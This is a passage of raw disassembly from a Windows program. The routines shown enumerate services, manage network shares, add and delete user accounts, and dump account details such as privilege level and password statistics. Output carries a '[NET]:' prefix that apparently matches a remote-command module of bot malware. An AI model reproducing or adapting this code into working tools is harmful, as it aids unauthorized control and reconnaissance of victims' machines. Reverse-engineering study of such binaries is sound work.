		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	ebx, eax


loc_4074E6:				; CODE XREF: sub_407459+54j
					; sub_407459+59j ...
		push	esi
		call	dword_42EAC8	; CloseServiceHandle


loc_4074ED:				; CODE XREF: sub_407459+45j
		push	edi
		call	dword_42EAC8	; CloseServiceHandle
		pop	esi


loc_4074F5:				; CODE XREF: sub_407459+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_407459	endp


; =============== S U B	R O U T	I N E =======================================



sub_4074FB	proc near		; CODE XREF: sub_4073D2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_4075B0
		jz	loc_4075A9
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_407573
		jz	short loc_407569
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40755F
		dec	ecx
		dec	ecx
		jz	short loc_407555
		dec	ecx
		jz	short loc_40754B
		sub	ecx, 51h
		jz	short loc_407541
		sub	ecx, 24h
		jnz	loc_407626	; default
					; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_407541:				; CODE XREF: sub_4074FB+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_40754B:				; CODE XREF: sub_4074FB+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_407555:				; CODE XREF: sub_4074FB+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_40755F:				; CODE XREF: sub_4074FB+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_407569:				; CODE XREF: sub_4074FB+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_407573:				; CODE XREF: sub_4074FB+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_4075A2
		dec	ecx
		jz	short loc_40759B
		dec	ecx
		jz	short loc_407594
		dec	ecx
		jnz	loc_407626	; default
					; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_407618
; ---------------------------------------------------------------------------


loc_407594:				; CODE XREF: sub_4074FB+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_40759B:				; CODE XREF: sub_4074FB+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075A2:				; CODE XREF: sub_4074FB+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075A9:				; CODE XREF: sub_4074FB+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075B0:				; CODE XREF: sub_4074FB+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_407626 ; default
					; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
		jz	short loc_407613
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_407626 ; default
					; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_407667[ecx]
		jmp	ds:off_40763F[ecx*4] ; switch jump


loc_4075D4:				; DATA XREF: .text:off_40763Fo
		push	offset aTheSpecifiedDa ; jumptable 004075CD case 7
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075DB:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceDepe ; jumptable 004075CD case 17
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075E2:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceDe_0 ; jumptable 004075CD case 10
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075E9:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceHasB ; jumptable 004075CD case 0
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075F0:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheSpecified_0 ; jumptable 004075CD case 2
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075F7:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceCoul ; jumptable 004075CD case 11
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_4075FE:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceHa_0 ; jumptable 004075CD case 14
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_407605:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheRequested_1 ; jumptable 004075CD case 3
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_40760C:				; CODE XREF: sub_4074FB+D2j
					; DATA XREF: .text:off_40763Fo
		push	offset aTheServiceHasN ; jumptable 004075CD case 4
		jmp	short loc_407618
; ---------------------------------------------------------------------------


loc_407613:				; CODE XREF: sub_4074FB+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_407618:				; CODE XREF: sub_4074FB+41j
					; sub_4074FB+4Bj ...
		push	offset byte_42EEE4 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_407639
; ---------------------------------------------------------------------------


loc_407626:				; CODE XREF: sub_4074FB+36j
					; sub_4074FB+89j ...
		push	eax		; default
					; jumptable 004075CD cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset byte_42EEE4 ; Dest
		call	_sprintf
		add	esp, 0Ch


loc_407639:				; CODE XREF: sub_4074FB+129j
		mov	eax, offset byte_42EEE4
		retn
sub_4074FB	endp

; ---------------------------------------------------------------------------
off_40763F	dd offset loc_4075E9	; DATA XREF: sub_4074FB+D2r
		dd offset loc_4075F0	; jump table for switch	statement
		dd offset loc_407605
		dd offset loc_40760C
		dd offset loc_4075D4
		dd offset loc_4075E2
		dd offset loc_4075F7
		dd offset loc_4075FE
		dd offset loc_4075DB
		dd offset loc_407626
byte_407667	db	0,     9,     1,     2 ; DATA XREF: sub_4074FB+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407679(int,char *Str,int)

sub_407679	proc near		; CODE XREF: sub_409557+191Ep

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_42EBA8	; OpenSCManagerA
		push	ebx		; int
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]	; int
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_4076B1:				; CODE XREF: sub_407679+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_42EB78	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_4076EB
		call	ds:dword_41B060	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40779F


loc_4076EB:				; CODE XREF: sub_407679+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_407796
		lea	esi, [ebp+var_188]


loc_4076FC:				; CODE XREF: sub_407679+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_407745
		dec	eax
		jz	short loc_40773E
		dec	eax
		jz	short loc_407737
		dec	eax
		jz	short loc_407730
		dec	eax
		jz	short loc_407729
		dec	eax
		jz	short loc_407722
		dec	eax
		jz	short loc_40771B
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_40771B:				; CODE XREF: sub_407679+99j
		push	offset aPaused	; "	Paused"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_407722:				; CODE XREF: sub_407679+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_407729:				; CODE XREF: sub_407679+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_407679+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_407737:				; CODE XREF: sub_407679+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_40773E:				; CODE XREF: sub_407679+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40774A
; ---------------------------------------------------------------------------


loc_407745:				; CODE XREF: sub_407679+87j
		push	offset aStopped	; "    Stopped"


loc_40774A:				; CODE XREF: sub_407679+A0j
					; sub_407679+A7j ...
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dest]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4076FC


loc_407796:				; CODE XREF: sub_407679+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4076B1


loc_40779F:				; CODE XREF: sub_407679+6Cj
		push	[ebp+var_C]
		call	dword_42EAC8	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_407679	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4077B6(int,char *Str,int)

sub_4077B6	proc near		; CODE XREF: sub_409557:loc_40AF2Cp

arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Str]
		test	edi, edi
		jz	loc_40784F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4077DF
		dec	eax
		jnz	short loc_40782F
		push	edi
		push	0
		call	sub_407921
		pop	ecx
		pop	ecx
		jmp	short loc_40782B
; ---------------------------------------------------------------------------


loc_4077DF:				; CODE XREF: sub_4077B6+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40781D
		push	24h		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40781D
		push	57h
		pop	eax


loc_4077F6:				; CODE XREF: sub_4077B6+77j
		push	eax
		call	sub_4080F9
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_42F1A0
		push	off_4210E0[eax*4]
		push	offset aNetSErrorWithS ; "[NET]: %s: Error with	share: '%s'. %s"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_40786F
; ---------------------------------------------------------------------------


loc_40781D:				; CODE XREF: sub_4077B6+2Dj
					; sub_4077B6+3Bj
		push	[ebp+arg_8]	; int
		push	edi		; Str
		push	0		; int
		call	sub_407875
		add	esp, 0Ch


loc_40782B:				; CODE XREF: sub_4077B6+27j
		test	eax, eax
		jnz	short loc_4077F6


loc_40782F:				; CODE XREF: sub_4077B6+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset byte_42F1A0
		push	off_4210E4[eax*4]
		push	offset aNetSShareS_ ; "[NET]: %s share:	'%s'."
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40786F
; ---------------------------------------------------------------------------


loc_40784F:				; CODE XREF: sub_4077B6+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_42F1A0
		lea	eax, [eax+eax*2]
		push	off_4210E0[eax*4]
		push	offset aNetSNoShareSpe ; "[NET]: %s: No	share specified."
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40786F:				; CODE XREF: sub_4077B6+65j
					; sub_4077B6+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4077B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407875(int,char *Str,int)

sub_407875	proc near		; CODE XREF: sub_4077B6+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4078E0
		push	[ebp+Str]
		mov	edi, eax
		call	sub_4078E0
		push	24h		; Val
		mov	[ebp+var_20], eax
		push	[ebp+Str]	; Str
		call	_strchr
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4078E0
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_42EAC4
		pop	edi
		leave
		retn
sub_407875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078E0	proc near		; CODE XREF: sub_407875+Ap
					; sub_407875+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4078ED
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4078ED:				; CODE XREF: sub_4078E0+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41B044
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4078E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407921	proc near		; CODE XREF: sub_4077B6+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4078E0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4078E0
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_42EAA0
		pop	esi
		retn
sub_407921	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407944(int,char *Str,int,int)

sub_407944	proc near		; CODE XREF: sub_409557+1A01p

Dest		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4078E0
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi		; int
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]	; int
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 18h


loc_40797D:				; CODE XREF: sub_407944+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_42EB10
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4079E0
		cmp	ebx, 0EAh
		jz	short loc_4079E0
		push	ebx
		push	ebx
		call	sub_4080F9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 24h
		jmp	short loc_407A4D
; ---------------------------------------------------------------------------


loc_4079E0:				; CODE XREF: sub_407944+5Dj
					; sub_407944+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_407A44
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4079EE:				; CODE XREF: sub_407944+FCj
		push	dword ptr [esi+10h]
		call	dword_42EAB8	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_407A05
		mov	eax, offset aNo	; "No"


loc_407A05:				; CODE XREF: sub_407944+BAj
		push	eax
		lea	eax, [ebp+Dest]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4079EE
		xor	esi, esi


loc_407A44:				; CODE XREF: sub_407944+A2j
		push	[ebp+var_4]
		call	dword_42EC40


loc_407A4D:				; CODE XREF: sub_407944+9Aj
		cmp	ebx, 0EAh
		jz	loc_40797D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_407944	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407A65(int,int,int,int,char *Str,int)

sub_407A65	proc near		; CODE XREF: sub_409557:loc_40AFCEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_407B09
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_407AA7
		dec	eax
		jz	short loc_407A9C
		dec	eax
		jnz	short loc_407AC2
		push	[ebp+arg_14]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_C]	; int
		push	ebx		; int
		push	edi		; int
		call	sub_407BAB
		add	esp, 14h
		jmp	short loc_407ABE
; ---------------------------------------------------------------------------


loc_407A9C:				; CODE XREF: sub_407A65+1Dj
		push	ebx
		push	edi
		call	sub_407B8A
		pop	ecx
		pop	ecx
		jmp	short loc_407ABE
; ---------------------------------------------------------------------------


loc_407AA7:				; CODE XREF: sub_407A65+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_407ABB
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_407B30
		add	esp, 0Ch
		jmp	short loc_407ABE
; ---------------------------------------------------------------------------


loc_407ABB:				; CODE XREF: sub_407A65+45j
		push	57h
		pop	eax


loc_407ABE:				; CODE XREF: sub_407A65+35j
					; sub_407A65+40j ...
		cmp	eax, edi
		jnz	short loc_407AE2


loc_407AC2:				; CODE XREF: sub_407A65+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_42F3A4
		push	off_4210E4[eax*4]
		push	offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_407B29
; ---------------------------------------------------------------------------


loc_407AE2:				; CODE XREF: sub_407A65+5Bj
		push	eax
		call	sub_4080F9
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset byte_42F3A4
		push	off_4210E0[eax*4]
		push	offset aNetSErrorWithU ; "[NET]: %s: Error with	username: '%s'. %"...
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_407B29
; ---------------------------------------------------------------------------


loc_407B09:				; CODE XREF: sub_407A65+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset byte_42F3A4
		lea	eax, [eax+eax*2]
		push	off_4210E0[eax*4]
		push	offset aNetSNoUsername ; "[NET]: %s: No	username specified."
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_407B29:				; CODE XREF: sub_407A65+7Bj
					; sub_407A65+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B30	proc near		; CODE XREF: sub_407A65+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4078E0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4078E0
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4078E0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_42EAA8
		pop	edi
		leave
		retn
sub_407B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B8A	proc near		; CODE XREF: sub_407A65+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4078E0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4078E0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_42EA9C
		pop	esi
		retn
sub_407B8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407BAB(int,int,int,char *Str,int)

sub_407BAB	proc near		; CODE XREF: sub_407A65+2Dp

Dest		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4078E0
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4078E0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_42EC08
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_407F38
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_407F73
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+Dest]
		push	offset aAccountS ; "Account: %S"
		push	eax		; Dest
		call	_sprintf
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+Str]
		mov	ebx, [ebp+arg_8]
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+Dest]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+Dest]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+Dest]
		push	offset aCommentS ; "Comment: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_407CC4
		dec	eax
		jz	short loc_407CBD
		dec	eax
		jz	short loc_407CB6
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_407CC9
; ---------------------------------------------------------------------------


loc_407CB6:				; CODE XREF: sub_407BAB+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_407CC9
; ---------------------------------------------------------------------------


loc_407CBD:				; CODE XREF: sub_407BAB+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_407CC9
; ---------------------------------------------------------------------------


loc_407CC4:				; CODE XREF: sub_407BAB+FCj
		mov	eax, offset aGuest ; "Guest"


loc_407CC9:				; CODE XREF: sub_407BAB+109j
					; sub_407BAB+110j ...
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+Dest]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+Dest]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+Dest]
		push	offset aParametersS ; "Parameters: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+Dest]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+Dest]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+Dest]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
